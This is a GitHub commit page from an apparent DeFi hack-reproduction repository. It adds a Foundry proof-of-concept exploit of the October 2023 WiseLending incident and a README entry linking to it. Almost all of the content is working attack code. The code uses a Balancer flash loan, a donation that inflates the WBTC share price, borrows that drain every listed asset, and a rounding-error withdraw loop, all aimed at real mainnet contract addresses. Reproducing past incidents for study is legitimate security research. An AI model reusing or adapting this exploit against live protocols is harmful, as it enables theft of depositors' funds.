Skip to content

Commit

Permalink
WiseLending EXP
Browse files Browse the repository at this point in the history
  • Loading branch information
zhouxianyuan committed Oct 13, 2023
1 parent 11412a8 commit 32af658
Show file tree
Hide file tree
Showing 2 changed files with 203 additions and 1 deletion.
26 changes: 25 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

**Reproduce DeFi hack incidents using Foundry.**

300 incidents included.
301 incidents included.

Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)

Expand Down Expand Up @@ -34,6 +34,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

## List of Past DeFi Incidents

[20231013 WiseLending](#20231013-wiselending---donate-inflation-exchangerate--rounding-error)

[20231012 Platypus](#20231012-platypus---business-logic-flaw)

[20231011 BH](#20231011-bh---price-manipulation)
Expand Down Expand Up @@ -666,6 +668,28 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

### List of DeFi Hacks & POCs

### 20231013 WiseLending - Donate Inflation ExchangeRate && Rounding Error

### Lost: ~$260K

Test

```
forge test --contracts ./src/test/WiseLending_exp.sol --evm-version 'shanghai' -vvv
```

#### Contract

[WiseLending_exp.sol](src/test/WiseLending_exp.sol)

#### Link Reference

https://twitter.com/bbbb/status/1712841315522638034

https://twitter.com/BlockSecTeam/status/1712871304993689709

---

### 20231012 Platypus - Business Logic Flaw

### Lost: ~$2M
Expand Down
178 changes: 178 additions & 0 deletions src/test/WiseLending_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,178 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~260K USD$
// Attacker : c0ffeebabe.eth (wihtehat)
// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809 (Mev Contract)
// Vulnerable Contract : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674
// Attack Tx :https://etherscan.io/tx/0x7ac4a98599596adbf12fffa2bd23e2a2d2ac7e8989b6ea043fcc412a29126555

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674#code

// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/bbbb/status/1712841315522638034
// Twitter Guy : https://twitter.com/BlockSecTeam/status/1712871304993689709
// Hacking God : https://www.google.com/

interface IPositionNFTs {
function mintPositionForUser(address _user) external returns (uint256);
}

interface IWiseLending {
function getTotalDepositShares(address _poolToken) external view returns (uint256);
function getPseudoTotalPool(address _poolToken) external view returns (uint256);
function depositExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
function borrowExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
function withdrawExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
}

contract ContractTest is Test {
IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 aEthWETH = IERC20(0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8);
IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 sDAI = IERC20(0x83F20F44975D03b1b09e64809B757c47f942BEeA);
IERC20 aEthDAI = IERC20(0x018008bfb33d285247A21d44E50697654f754e63);
IERC20 aEthUSDC = IERC20(0x98C23E9d8f34FEFb1B7BD6a91B7FF122F4e16F5c);
IERC20 aEthUSDT = IERC20(0x23878914EFE38d27C4D67Ab83ed1b93A74D4086a);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07);
IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674);
Uni_Pair_V3 WETH_WBTC_Pair = Uni_Pair_V3(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD);
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
Recover recover;

function setUp() public {
vm.createSelectFork("mainnet", 18_342_120);
vm.label(address(WBTC), "WBTC");
vm.label(address(wstETH), "wstETH");
vm.label(address(WETH), "WETH");
vm.label(address(aEthWETH), "aEthWETH");
vm.label(address(DAI), "DAI");
vm.label(address(sDAI), "sDAI");
vm.label(address(aEthDAI), "aEthDAI");
vm.label(address(aEthUSDC), "aEthUSDC");
vm.label(address(aEthUSDT), "aEthUSDT");
vm.label(address(USDC), "USDC");
vm.label(address(PositionNFTs), "PositionNFTs");
vm.label(address(WiseLending), "WiseLending");
vm.label(address(WETH_WBTC_Pair), "WETH_WBTC_Pair");
vm.label(address(Balancer), "Balancer");
}

function testExploit() public {
WBTC.approve(address(WiseLending), type(uint256).max);

address[] memory tokens = new address[](1);
tokens[0] = address(WBTC);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 50 * 1e8;
bytes memory userData = "";
Balancer.flashLoan(address(this), tokens, amounts, userData);

profitLog();
}

function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
recover = new Recover();
uint256 recoverID = recover.init(); // open recover position

uint256 borrowerID = PositionNFTs.mintPositionForUser(address(this)); // open borrower position

WiseLending.depositExactAmount(recoverID, address(WBTC), 1); // deposit 1 WBTC to recover, mint 1 share
WiseLending.depositExactAmount(borrowerID, address(WBTC), 1); // deposit 1 WBTC to borrower, mint 1 share

WBTC.transfer(address(WiseLending), 50 * 1e8 - 2); // donate ~50 WBTC to WiseLending, inflate share price

borrowAll(borrowerID);

recover.recover(); // recover donated WBTC

int256 swapAmount = -int256(amounts[0] - WBTC.balanceOf(address(this)));
WETH_WBTC_Pair.swap(
address(this), false, swapAmount, uint160(35_991_486_685_722_499_892_781_286_346_438_453), ""
); // swap WETH to WBTC
WBTC.transfer(address(Balancer), amounts[0]); // repay flash loan
}

function borrowAll(uint256 id) internal {
WiseLending.borrowExactAmount(id, address(wstETH), 33_538_664_799_002_267_467); // inflate share price in modifier , borrow all wstETH
WiseLending.borrowExactAmount(id, address(WETH), 339_996_372_423_526_589);
WiseLending.borrowExactAmount(id, address(aEthWETH), 98_969_695_913_405_122_899);
WiseLending.borrowExactAmount(id, address(DAI), 200_094_287_736_946_980_059);
WiseLending.borrowExactAmount(id, address(sDAI), 16_161_480_100_000_000_000_000);
WiseLending.borrowExactAmount(id, address(aEthDAI), 1_302_840_070_263_627_457_089);
WiseLending.borrowExactAmount(id, address(aEthUSDC), 5_108_839_054);
WiseLending.borrowExactAmount(id, address(aEthUSDT), 26_082_605_241);
WiseLending.borrowExactAmount(id, address(USDC), 50_000_000);
}

function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
WETH.transfer(address(WETH_WBTC_Pair), uint256(amount1Delta));
}

function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
return this.onERC721Received.selector;
}

function profitLog() internal {
emit log_named_decimal_uint(
"Attacker wstETH balance after exploit", wstETH.balanceOf(address(this)), wstETH.decimals()
);
emit log_named_decimal_uint(
"Attacker aEthWETH balance after exploit", aEthWETH.balanceOf(address(this)), aEthWETH.decimals()
);
emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
emit log_named_decimal_uint(
"Attacker sDAI balance after exploit", sDAI.balanceOf(address(this)), sDAI.decimals()
);
emit log_named_decimal_uint(
"Attacker aEthDAI balance after exploit", aEthDAI.balanceOf(address(this)), aEthDAI.decimals()
);
emit log_named_decimal_uint(
"Attacker aEthUSDC balance after exploit", aEthUSDC.balanceOf(address(this)), aEthUSDC.decimals()
);
emit log_named_decimal_uint(
"Attacker aEthUSDT balance after exploit", aEthUSDT.balanceOf(address(this)), aEthUSDT.decimals()
);
emit log_named_decimal_uint(
"Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
);
}
}

contract Recover {
IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07);
IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674);
IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
uint256 public positionID;

function init() external returns (uint256) {
positionID = PositionNFTs.mintPositionForUser(address(this));
return positionID;
}

function recover() external {
while (WiseLending.getPseudoTotalPool(address(WBTC)) > 2_000_000) {
uint256 recoverAmount =
(WiseLending.getPseudoTotalPool(address(WBTC)) - 1) / WiseLending.getTotalDepositShares(address(WBTC)); // withdraw share amount = 0 due to precision loss
WiseLending.withdrawExactAmount(positionID, address(WBTC), recoverAmount);
}
WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));
}

function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
return this.onERC721Received.selector;
}
}

0 comments on commit 32af658

Please sign in to comment.